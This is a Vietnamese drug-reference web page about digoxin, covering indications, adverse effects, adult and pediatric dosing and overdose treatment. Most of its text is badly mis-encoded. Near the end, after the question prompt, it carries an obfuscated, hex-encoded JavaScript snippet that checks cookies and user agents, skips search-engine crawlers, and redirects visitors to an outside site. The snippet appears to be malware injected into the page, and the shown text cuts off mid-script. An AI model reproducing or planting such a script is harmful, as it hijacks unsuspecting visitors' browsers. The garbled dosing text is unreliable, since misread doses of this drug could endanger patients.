DIGOXIN Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? tim

DIGOXIN Thuốc chống loạn nhịp, glycosid trợ tim

:Tracuuthuoctay chia sa?i?? bAi??i via??t DIGOXIN Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? timAi??lAi?? gAi??? giA? thuai??i??c bao nhiA?u? chai??i?? Ai??ai??i??nh, cA?ch sai??i?? dai???ng, tA?c dai???ng phai??? thuai??i??c DIGOXIN.Suy tim, rung nhAi?? vAi?? cuai??i??ng Ai??ai??i??ng nhAi?? nha??t lAi?? khi cA? ta?i??n sai??i?? tha??t quA? nhanh, nhai??i??p nhanh trA?n tha??t kai??i??ch phA?t.

DIGOXIN Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? tim

TA?n chung quai??i??c ta??: Digoxin.

MA? ATC: C01A A05.

Loa??i thuai??i??c: Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? tim.

GiA? thuai??i??c DIGOXIN: BAi??nh lua?i??n cuai??i??i bAi??i via??t Ai??ai??? Ai???i??ai???c thA?ng bA?o giA?

Da??ng thuai??i??c vAi?? hAi??m l?i??ai???ng

Thuai??i??c uai??i??ng: Nang chai??i??a dai??i??ch lai???ng: 50 microgam, 100 microgam, 200 microgam.

Cai??i??n ngai???t: 50 microgam/ml (60 ml).

ViA?n nAi??n: 125 microgam, 250 microgam, 500 microgam.

Thuai??i??c tiA?m: 100 microgam/ml (1 ml), 250 microgam/ ml (2 ml).

D?i??ai???c lA? vAi?? c?? cha?? tA?c dai???ng

Digoxin lAi?? glycosid trai??? tim, thu Ai???i??ai???c tai??i?? lA? Digitalis lanata. Digoxin tA?c dai???ng ba?i??ng cA?ch lAi??m tA?ng lai??i??c co c?? tim, tA?c dai???ng co sai???i c?? d?i????ng tAi??nh. Nh?i?? va?i??y, lAi??m gia??m ta?i??n sai??i?? ma??ch ai??Y ng?i??ai???i suy tim vAi?? tA?ng lai??i??c co c?? tim Ai??A? ca??i thiai??i??n Ai???i??ai???c tua?i??n hoAi??n. Digitalis cA?n cA? tA?c dai???ng lAi??m gia??m Ai??iai???u nhai??i??p trai??i??c tia??p (tA?c dai???ng trai??i??c tia??p trA?n ta?i??n sai??i?? tim) vAi?? lAi??m gia??m ta?i??n sai??i?? tim thA?ng qua kAi??ch thAi??ch tha?i??n kinh Ai??ai??i??i giao ca??m (kAi??ch thAi??ch dA?y tha?i??n kinh pha?? – vai??i??). NgoAi??i ra, digoxin cA?n lAi??m cha?i??m sai??i?? da?i??n truyai???n trong nA?t nhAi?? – tha??t.

D?i??ai???c Ai??ai??i??ng hai???c

Sinh kha?? dai???ng cai??i??a digoxin da??ng viA?n nAi??n ra??t cao. Uai??i??ng viA?n nAi??n vAi?? dung dai??i??ch n?i??ai??i??c cA? thai??? Ai??a??t sinh kha?? dai???ng khoa??ng 75%. Khi tiA?m, tA?c dai???ng lA?m sAi??ng ba??t Ai??a?i??u xua??t hiai??i??n sau khoa??ng 10 phA?t vAi?? Ai??a?i??y Ai??ai??i?? trong vA?ng 2 – 4 giai???. Khi uai??i??ng, tA?c dai???ng xua??t hiai??i??n sau 1/2 – 1 giai???, vAi?? Ai??a??t tA?c dai???ng Ai??a?i??y Ai??ai??i?? trong vA?ng 5 – 7 giai???. Nai??i??ng Ai??ai??i?? Ai??iai???u trai??i?? trong huya??t t?i????ng ng?i??ai???i lai??i??n ai??Y khoa??ng 1,5 – 2,6 nanomol/lAi??t. Ga??n ka??t vai??i??i protein huya??t t?i????ng ra??t tha??p, vAi?? ra??t Ai??t quan trai???ng vai??? lA?m sAi??ng (20 – 30%). ai??z ng?i??ai???i chai??i??c nA?ng tha?i??n bAi??nh th?i??ai???ng, nai??i??a Ai??ai???i tha??i trai??i?? trung bAi??nh lAi?? 36 giai???. Pha?i??n lai??i??n ng?i??ai???i cao tuai??i??i cA? chai??i??c nA?ng tha?i??n gia??m, da?i??n Ai??a??n nai??i??a Ai??ai???i tha??i trai??i?? dAi??i h??n, vAi?? nguy c?? tAi??ch lAi??y cao va?i??n xa??y ra vai??i??i liai???u thA?ng th?i??ai???ng. DA?ng thuai??i??c ngAi??y mai??i??t la?i??n, nh?i??ng pha??i l?i??u A? Ai??a??n mai??i??c liai???u vAi?? nguy c?? tAi??ch lAi??y. Na??u chai??i??c nA?ng tha?i??n ba?i??ng 50% so vai??i??i bAi??nh th?i??ai???ng, Ai??ai??? Ai??a??t Ai???i??ai???c nai??i??ng Ai??ai??i?? trong huya??t t?i????ng giai??i??ng nh?i?? ai??Y ng?i??ai???i bai??i??nh cA? chai??i??c nA?ng tha?i??n bAi??nh th?i??ai???ng, cA? thai??? hoa?i??c dA?ng liai???u hAi??ng ngAi??y ba?i??ng 50% liai???u bAi??nh th?i??ai???ng, hoa?i??c dA?ng liai???u bAi??nh th?i??ai???ng, nh?i??ng cA?ch mai??i??t ngAi??y dA?ng mai??i??t la?i??n.

Chai??i?? Ai??ai??i??nh thuai??i??cAi??DIGOXIN

Suy tim, rung nhAi?? vAi?? cuai??i??ng Ai??ai??i??ng nhAi?? nha??t lAi?? khi cA? ta?i??n sai??i?? tha??t quA? nhanh, nhai??i??p nhanh trA?n tha??t kai??i??ch phA?t.

Chai??i??ng chai??i?? Ai??ai??i??nh

Blai??i??c tim hoAi??n toAi??n tai??i??ng c??n, blai??i??c nhAi?? – tha??t Ai??ai??i?? hai; loa??n nhai??i??p trA?n tha??t gA?y bai??Yi hai??i??i chai??i??ng Wolff – Parkinson – White; bai??i??nh c?? tim phAi?? Ai??a??i ta??c ngha??n (trai??i?? khi cA? Ai??ai??i??ng thai???i rung nhAi?? vAi?? suy tim, nh?i??ng pha??i tha?i??n trai???ng). Pha??i tha?i??n trai???ng cao Ai??ai??i?? ba?i??ng giA?m sA?t Ai??iai??i??n tA?m Ai??ai??i?? (A?TA?) na??u ng?i??ai???i bai??i??nh cA? nguy c?? cao tai bia??n tim pha??i Ai??iai???u trai??i??.

Tha?i??n trai???ng

Nguy c?? cao tA?c dai???ng cA? ha??i (ADR) vai??? tim ai??Y ng?i??ai???i cA? nhai??i??p tim cha?i??m nhiai???u, ha?i??u qua?? cai??i??a nhai??i??p nA?t xoang, nhai??i??p tim nhanh nhAi?? hoa?i??c rung vAi?? cuai??i??ng Ai??ai??i??ng nhAi??. ai??z ng?i??ai???i cA? nhai??i??i mA?u c?? tim ca??p tAi??nh, nguy c?? ADR tim cAi??ng tA?ng lA?n, nh?i??ng th?i??ai???ng cA? nhu ca?i??u cao vai??? digitalis. Vai??i??i ng?i??ai???i suy gia??m chai??i??c nA?ng tha?i??n vAi?? ng?i??ai???i thiai???u nA?ng tuya??n giA?p, ca?i??n Ai??iai???u chai??i??nh liai???u vAi?? theo dAi??i cha?i??t cha??. TAi??nh nha??y ca??m vai??i??i ADR tA?ng lA?n ai??Y ng?i??ai???i cA? gia??m kali huya??t, tA?ng calci huya??t vAi?? ng?i??ai???i cao tuai??i??i.

Thai???i kai??? mang thai

KhA?ng cA? t?i?? liai??i??u vai??? nguy c?? gA?y Ai??ai??i??c ha??i Ai??ai??i??i vai??i??i thai, ma?i??c dA? digitalis Ai??A? Ai??Ai???i??ai???c dA?ng tai??i?? lA?u. Viai??i??c sai??i?? dai???ng Ai???i??ai???c coi lAi?? an toAi??n, vAi?? khi ca?i??n ca??i thiai??i??n Ai??tua?i??n hoAi??n, cA? thai??? dA?ng digitalis ai??Y ng?i??ai???i mang thai.

Thai???i kai??? cho con bA?

Digoxin Ai???i??ai???c phA?n bai??i?? vAi??o sai???a ng?i??ai???i, nh?i??ng vai??i??i liai???u Ai??iai???u trai??i?? bAi??nh th?i??ai???ng khA?ng cha??c cA? nguy c?? tA?c dai???ng trA?n tra?i?? nhai??? bA? sai???a ma??.

TA?c dai???ng khA?ng mong muai??i??n (ADR)

5 – 30% ng?i??ai???i bai??i??nh dA?ng digoxin cA? ADR. Nhai???ng ADR nAi??y do quA? liai???u hoa?i??c do ka??t qua?? cai??i??a ma??t cA?n ba?i??ng Ai??iai??i??n gia??i ai??Y ng?i??ai???i bai??i??nh. Nai??i??ng Ai??ai??i?? thay

Ai??ai??i??i cai??i??a kali, calci vAi?? magnesi trong mA?u lAi??m thay Ai??ai??i??i tAi??nh nha??y ca??m vai??i??i ADR ai??Y ng?i??ai???i bai??i??nh; thay Ai??ai??i??i cA?n ba?i??ng acid/base cAi??ng cA? thai??? lAi??m tA?ng nguy c?? ADR.

Th?i??ai???ng ga?i??p, ADR>1/100

TiA?u hA?a: ChA?n A?n, buai??i??n nA?n, nA?n.

A?t ga?i??p, 1/1000 < ADR < 1/100

Tim ma??ch: Nhai??i??p tim cha?i??m xoang, blai??i??c nhAi?? – tha??t, blai??i??c xoang nhAi??, ngoa??i tA?m thu nhAi?? hoa?i??c nA?t, loa??n nhai??i??p tha??t, nhai??i??p Ai??A?i, nhai??i??p ba, nhai??i??p nhanh nhAi?? vai??i??i blai??i??c nhAi?? – tha??t.

Hai??i?? tha?i??n kinh trung ?i????ng: Ngai??i?? l?? m??, nhai??i??c Ai??a?i??u, mai??i??t mai???i, ngai??i?? lai??i??m, chA?ng ma?i??t, ma??t ph?i????ng h?i??ai??i??ng.

Nai??i??i tia??t vAi?? chuyai???n hA?a: TA?ng kali huya??t vai??i??i ngai??i?? Ai??ai??i??c ca??p.

TiA?u hA?a: KhA?ng dung na??p thai??i??c A?n, Ai??au bai???ng, ai??i??a cha??y.

Tha?i??n kinh – c?? vAi?? x?i????ng: A?au dA?y tha?i??n kinh.

Ma??t: NhAi??n mai???, vA?ng sA?ng, nhAi??n vAi??ng hoa?i??c xanh lA? cA?y, nhAi??n Ai??A?i, sai??? A?nh sA?ng, A?nh sA?ng lA?e lA?n.

H?i??ai??i??ng da?i??n cA?ch xai??i?? trAi?? ADR

  • Vai??i??i nhai???ng ADR Ai??iai??i??n sinh lA? th?i??ai???ng ga?i??p, chai??i?? ca?i??n Ai??iai???u chai??i??nh liai???u vAi?? theo dAi??i ba?i??ng biai??i??n phA?p thAi??ch hai???p. Nhai??i??p xoang cha?i??m, ngai??i??ng xoang, hoa?i??c blai??i??c vAi?? cha?i??m da?i??n truyai???n nhAi?? – tha??t Ai??ai??i?? hai hoa?i??c Ai??ai??i?? ba th?i??ai???ng Ai??A?p ai??i??ng vai??i??i atropin, ma?i??c dA? ca?i??n ta??o nhai??i??p tha??t ta??m thai???i.
  • Hiai??i??n nay cA? mai??i??t thuai??i??c gia??i Ai??ai??i??c hai???u hiai??i??u khi bai??i?? ngai??i?? Ai??ai??i??c digoxin hoa?i??c digitoxin d?i??ai??i??i da??ng miai??i??n dai??i??ch trai??i?? liai??i??u khA?ng digoxin. Ka??t qua?? thai??i?? nghiai??i??m trA?n ng?i??ai???i lai??i??n vAi?? tra?i?? em Ai??A? xA?c Ai??ai??i??nh hiai??i??u lai??i??c vAi?? Ai??ai??i?? an toAi??n cai??i??a liai??i??u phA?p vai??i??i thuai??i??c khA?ng digoxin Fab trong Ai??iai???u trai??i?? ngai??i?? Ai??ai??i??c digoxin Ai??e doa?? tAi??nh ma??ng, gai??i??m ca?? nhai???ng tr?i??ai???ng hai???p uai??i??ng l?i??ai???ng lai??i??n thuai??i??c Ai??ai??? tai??i?? va?i??n (xin xem thA?m “QuA? liai???u vAi?? xai??i?? trAi??“).

Liai???u l?i??ai???ng vAi?? cA?ch dA?ng

  • Ca?i??n Ai??iai???u chai??i??nh liai???u theo tai??i??ng ng?i??ai???i bai??i??nh. A?iai???u ha??t sai??i??c quan trai???ng lAi?? xA?c Ai??ai??i??nh Ai??ai??? bia??t ng?i??ai???i bai??i??nh cA? dA?ng da??ng thuai??i??c digitalis nAi??o trong 2 hoa?i??c 3 tua?i??n tr?i??ai??i??c, vAi?? mai??i??t Ai??t tA?c dai???ng cA?n tai??i??n la??i Ai??A?i hai???i pha??i gia??m liai???u Ai??ai??? trA?nh ngai??i?? Ai??ai??i??c. XA?c Ai??ai??i??nh liai???u dai??i??a trA?n thai??? trai???ng lA? t?i??ai??Yng (khai??i??i na??c), vAi?? digoxin khA?ng phA?n bai??i?? vAi??o mA? mai???.
  • CA? sai??i?? khA?c nhau vai??? sinh kha?? dai???ng giai???a cA?c da??ng thuai??i??c cai??i??a digoxin. Khi thay Ai??ai??i??i da??ng thuai??i??c Ai??iai???u trai??i??, ca?i??n pha??i hiai??i??u chai??i??nh liai???u l?i??ai???ng. Liai???u 100 microgam (0,1 mg) cua?? thuai??i??c tiA?m hoa?i??c nang chai??i??a dung dai??i??ch digoxin t?i????ng Ai???i????ng sinh hai???c vai??i??i liai???u 125 microgram (0,125 mg) cai??i??a viA?n nAi??n hoa?i??c cai??i??n ngai???t digoxin.

Liai???u dA?ng ng?i??ai???i lai??i??n

  • A?iai???u trai??i?? cha?i??m ba?i??ng digoxin: Liai???u bAi??nh th?i??ai???ng dA?ng mai??i??t la?i??n trong ngAi??y lAi?? 125 – 500 microgam (0,125 – 0,500 mg) d?i??ai??i??i da??ng viA?n nAi??n; hoa?i??c 100 – 350 microgam (0,10 – 0,35 mg), d?i??ai??i??i da??ng thuai??i??c tiA?m tAi??nh ma??ch. Thuai??i??c tiA?m tAi??nh ma??ch dA?ng cho ng?i??ai???i khA?ng uai??i??ng Ai???i??ai???c viA?n nAi??n. CA? thai??? chia liai???u hAi??ng ngAi??y thAi??nh 2 la?i??n, mai??i??t buai??i??i sA?ng vAi?? mai??i??t buai??i??i chiai???u.
  • Mai??i??c liai???u Ai??iai???u trai??i?? dai??i?? Ai??ai??i??nh (tra??ng thA?i ai??i??n Ai??ai??i??nh) Ai??a??t Ai???i??ai???c trong vA?ng 5 – 10 ngAi??y, na??u ng?i??ai???i bai??i??nh cA? chai??i??c nA?ng tha?i??n bAi??nh th?i??ai???ng. A?iai???u quan trai???ng lAi?? pha??i dA?ng liai???u duy trAi?? vai??i??i thai???i biai???u dA?ng thuai??i??c ra??t Ai??ai???u Ai??a?i??n.
  • A?iai???u trai??i?? ca??p tAi??nh, nhanh ba?i??ng digoxin: A?p dai???ng ph?i????ng phA?p nAi??y ai??Y ng?i??ai???i bai??i??nh ca?i??n Ai??a??t mai??i??c liai???u Ai??iai???u trai??i?? nhanh. KhA?ng bao giai??? cho thuai??i??c mAi?? khA?ng cA? sai??i?? theo dAi??i liA?n tai???c ng?i??ai???i bai??i??nh. BA?c sai??? chai??i??u trA?ch nhiai??i??m Ai??iai???u trai??i?? ng?i??ai???i bai??i??nh pha??i ba??o Ai??a??m sai??i?? theo dAi??i liA?n tai???c qua ghi Ai??iai??i??n tim vAi?? nhA?n viA?n y ta?? Ai??A? Ai???i??ai???c hua??n luyai??i??n.
  • Ng?i??ai???i bai??i??nh cA?n na?i??ng 70 kg vAi?? khA?ng bAi??o, nA?i chung cA? thai??? ca?i??n 1000 microgam (1 mg) digoxin tiA?m tAi??nh ma??ch, hoa?i??c 1500 microgam (1,5 mg) uai??i??ng. DA?ng liai???u nAi??y nh?i?? sau: Ba??t Ai??a?i??u 500 – 750 microgam (0,50 – 0,75 mg) tiA?m tAi??nh ma??ch, hoa?i??c 750 – 1000 microgam (0,75 – 1 mg) uai??i??ng. Khi ca?i??n, thAi?? cho mai??i??t liai???u khA?c: 250 microgam (0,25 mg) tiA?m tAi??nh ma??ch, cai??i?? 3 giai??? mai??i??t la?i??n, hoa?i??c 500 microgam (0,50 mg) uai??i??ng, cai??i?? 6 giai??? mai??i??t la?i??n, cho tai??i??i khi Ai??a??t tA?c dai???ng Ai??a?i??y Ai??ai??i??.
  • Tai??i??ng liai???u ngAi??y Ai??a?i??u khA?ng Ai???i??ai???c quA? 1500 microgam (1,5 mg) tiA?m tAi??nh ma??ch, hoa?i??c khA?ng Ai???i??ai???c quA? 2000 microgam (2 mg), na??u uai??i??ng.
  • Liai???u ng?i??ai???i cao tuai??i??i: DA?ng liai???u digoxin quA? tha??p cho ng?i??ai???i cao tuai??i??i khA?ng thai???a Ai??A?ng (liai???u nh?i?? va?i??y th?i??ai???ng cho 1 nai??i??ng Ai??ai??i?? d?i??ai??i??i mai??i??c Ai??iai???u trai??i??) vAi?? liai???u pha??i cho tA?y theo ng?i??ai???i bai??i??nh (62,5 microgam/ngAi??y).

Liai???u tra?i?? em:

  • KhA?ng dA?ng viA?n nAi??n digoxin cho tra?i?? em d?i??ai??i??i 5 tuai??i??i. CA? thai??? dA?ng thuai??i??c tiA?m tAi??nh ma??ch digoxin cho tra?i?? em nhai??? tuai??i??i h??n. Khi dA?ng digoxin cho tra?i?? nhai???, pha??i tAi??nh liai???u theo nhai???ng thay Ai??ai??i??i quan trai???ng vai??? kha?? nA?ng tha??i trai??i?? digoxin cai??i??a Ai??ai??i??a tra?i??, trong 6 thA?ng Ai??a?i??u sau khi Ai??a?i??.
  • Tra?i?? s?? sinh: Liai???u ca?i??n thia??t trung bAi??nh 20 microgam/kg (0,02 mg/kg) thai??? trai???ng lAi?? liai???u tiA?m tAi??nh ma??ch Ai??ai??? Ai??iai???u trai??i?? nhanh ba?i??ng digoxin, vAi?? sau Ai??A?, 7 microgam /kg (0,007 mg/kg) thai??? trai???ng mai??i??i ngAi??y lAi?? liai???u duy trAi??. Vai??i??i tra?i?? s?? sinh Ai??a?i?? non, pha??i gia??m liai???u nhiai???u so vai??i??i mai??i??c liai???u dA?ng cho tra?i?? s?? sinh Ai??a?i?? Ai??ai??i?? thA?ng.

 

 

  • Tra?i?? em 6 thA?ng tuai??i??i: Trung bAi??nh cA? thai??? ca?i??n 30 microgam/kg (0,03 Ai??mg/kg) thai??? trai???ng lAi?? liai???u tiA?m tAi??nh ma??ch Ai??ai??? Ai??iai???u trai??i?? nhanh ba?i??ng digoxin, Ai??vAi?? sau Ai??A?, 10 – 20 microgam/kg (0,01 – 0,02 mg/kg) thai??? trai???ng mai??i??i
  • ngAi??y, lAi?? liai???u tiA?m tAi??nh ma??ch duy trAi??.
  • Liai???u ca?i??n thia??t tAi??nh theo kg thai??? trai???ng gia??m xuai??i??ng cha?i??m trong nA?m Ai??a?i??u sau khi Ai??a?i??. ai??z tra?i?? 2 tuai??i??i, liai???u ca?i??n thia??t la??i ba?i??ng liai???u ai??Y 6 thA?ng tuai??i??i. ai??z tra?i?? lai??i??n h??n, liai???u ca?i??n thia??t ga?i??n ba?i??ng liai???u tAi??nh theo kg thai??? trai???ng dA?ng cho ng?i??ai???i lai??i??n cA? tha?i??n bAi??nh th?i??ai???ng, nghAi??a lAi?? 15 microgam/kg (0,015 mg/kg) lAi?? liai???u tiA?m tAi??nh ma??ch Ai??ai??? Ai??iai???u trai??i?? nhanh ba?i??ng digoxin, vAi?? 7 microgam/kg/ngAi??y (0,007 mg/kg/ngAi??y) lAi?? liai???u uai??i??ng duy trAi??. Th?i??ai???ng dA?ng liai???u duy trAi?? cho tra?i?? em cai??i?? 12 giai??? mai??i??t la?i??n.

Thay Ai??ai??i??i tai??i?? digitoxin sang digoxin:

Trong tua?i??n thai??i?? nha??t, sau khi ngai??i??ng digitoxin, chai??i?? dA?ng nai??i??a liai???u duy trAi?? digoxin. Na??u khA?ng, sa?? cA? nguy c?? quA? liai???u vAi?? ngai??i?? Ai??ai??i??c, vAi?? digitoxin cA? nai??i??a Ai??ai???i tha??i trai??i?? ra??t cha?i??m. Sau mai??i??t tua?i??n Ai??A? dA?ng nai??i??a liai???u duy trAi??, dA?ng digoxin vai??i??i liai???u duy trAi?? Ai??a?i??y Ai??ai??i?? hAi??ng ngAi??y, ba??t Ai??a?i??u tai??i?? Ai??a?i??u tua?i??n thai??i?? hai, sau khi ngai??i??ng digitoxin.

T?i????ng tA?c thuai??i??c

Nhai???ng thuai??i??c sau Ai??A?y gA?y nhiai???u t?i????ng tA?c nA?n ca?i??n pha??i hiai??i??u chai??i??nh liai???u: Amiodaron, ciclosporin, indomethacin, itraconazol, calci, quinin, quinidin, cholestyramin, thuai??i??c lai???i tiai???u quai, propafenon, spironolacton, thuai??i??c lai???i tiai???u thiazid, thuai??i??c lai???i tiai???u giai??i??ng thiazid, hormon tuya??n giA?p, verapamil.

A?ai??i?? ai??i??n Ai??ai??i??nh vAi?? ba??o qua??n

Ba??o qua??n cha?? pha?i??m digoxin ai??Y nhiai??i??t Ai??ai??i?? 15 – 250C vAi?? trA?nh A?nh sA?ng. Dung dai??i??ch pha loA?ng digoxin pha??i Ai???i??ai???c dA?ng ngay.

T?i????ng kai??i??

  • Thuai??i??c tiA?m digoxin t?i????ng hai???p vai??i??i pha?i??n lai??i??n cA?c dai??i??ch truyai???n tAi??nh ma??ch.
  • Tr?i??ai??i??c khi tiA?m tAi??nh ma??ch, pha??i pha loA?ng thuai??i??c tiA?m digoxin vai??i??i thai??? tAi??ch Ai??t nha??t ga??p 4 la?i??n ba?i??ng n?i??ai??i??c ca??t vA? khua?i??n Ai??ai??? tiA?m, thuai??i??c tiA?m dextrose 5%, hoa?i??c thuai??i??c tiA?m natri clorid 0,9%; na??u thai??? tAi??ch dai??i??ch pha loA?ng Ai??t, d?i??ai??i??i 4 la?i??n, cA? thai??? gA?y tai??i??a digoxin.

QuA? liai???u vAi?? xai??i?? trAi??

  • A?iai???u trai??i?? quA? liai???u: Ngai??i??ng digoxin (th?i??ai???ng chai??i?? ca?i??n ngai??i??ng digoxin na??u cA?c triai??i??u chai??i??ng khA?ng nghiA?m trai???ng); dA?ng than hoa??t, cholestyramin, hoa?i??c colestipol Ai??ai??? thA?c Ai??a?i??y thanh tha??i glycosid; dA?ng muai??i??i kali na??u cA? gia??m kali – huya??t vAi?? gia??m chai??i??c nA?ng tha?i??n, nh?i??ng khA?ng dA?ng na??u cA? tA?ng kali – huya??t hoa?i??c blai??i??c tim hoAi??n toAi??n, trai??i?? phi nhai???ng triai??i??u chai??i??ng nAi??y cA? liA?n quan vai??i??i nhai??i??p tim nhanh trA?n tha??t. Nhai???ng thuai??i??c khA?c dA?ng Ai??iai???u trai??i?? loa??n nhai??i??p do ngai??i?? Ai??ai??i??c digoxin lAi?? lidocain, procainamid, propranolol, vAi?? phenytoin. Ta??o nhai??i??p tha??t cA? thai??? ta??m thai???i cA? tA?c dai???ng tai??i??t trong tr?i??ai???ng hai???p blai??i??c tim na?i??ng. DA?ng mai??i??t tA?c nhA?n chelat (vAi?? dai???, EDTA), cA? tA?c dai???ng ga??n ka??t calci, Ai??ai??? Ai??iai???u trai??i?? loa??n nhai??i??p do ngai??i?? Ai??ai??i??c digoxin, do gia??m kali huya??t, hoa?i??c tA?ng calci huya??t.
  • Khi quA? liai???u digoxin Ai??e dai???a tAi??nh ma??ng, tiA?m tAi??nh ma??ch thuai??i??c Fab miai??i??n dai??i??ch khA?ng digoxin (tai??i?? cai??i??u). Mai??i??t lai??? chai??i??a 40 mg Fab miai??i??n dai??i??ch vai??i??i digoxin (tai??i?? cai??i??u) cA? thai??? ga??n ka??t khoa??ng 0,6 mg digoxin.

ThA?ng tin qui cha??

Digoxin cA? trong danh mai???c thuai??i??c thia??t ya??u Viai??i??t Nam ban hAi??nh la?i??n thai??i?? 4 nA?m 1999.

Thuai??i??c Ai??ai??i??c ba??ng A.

\Nguai??i??n d?i??ai???c th?i?? quai??i??c gia

Tham kha??o hAi??nh a??nh cA?c dA?ng thuai??i??c DIGOXIN Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? tim

 

DIGOXIN Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? tim

Vui lA?ng Ai??a?i??Ai??t cA?uAi??hai???i vai??? bAi??i via??t DIGOXINAi??Ai??Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? tim, chA?ng tA?i sa?? tra?? lai???i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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One thought on “DIGOXIN Thuai??i??c chai??i??ng loa??n nhai??i??p, glycosid trai??? tim

  1. Huỳnh Kiều says:

    Tracuuthuoctay chia sẻ bài viết DIGOXIN Thuốc chống loạn nhịp, glycosid trợ tim là gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc DIGOXIN.Suy tim, rung nhĩ và cuồng động nhĩ nhất là khi có tần số thất quá nhanh, nhịp nhanh trên thất kịch phát.
    #DIGOXIN , #thuocDIGOXIN #tracuuthuoctay, #yduoc, #nhathuoc

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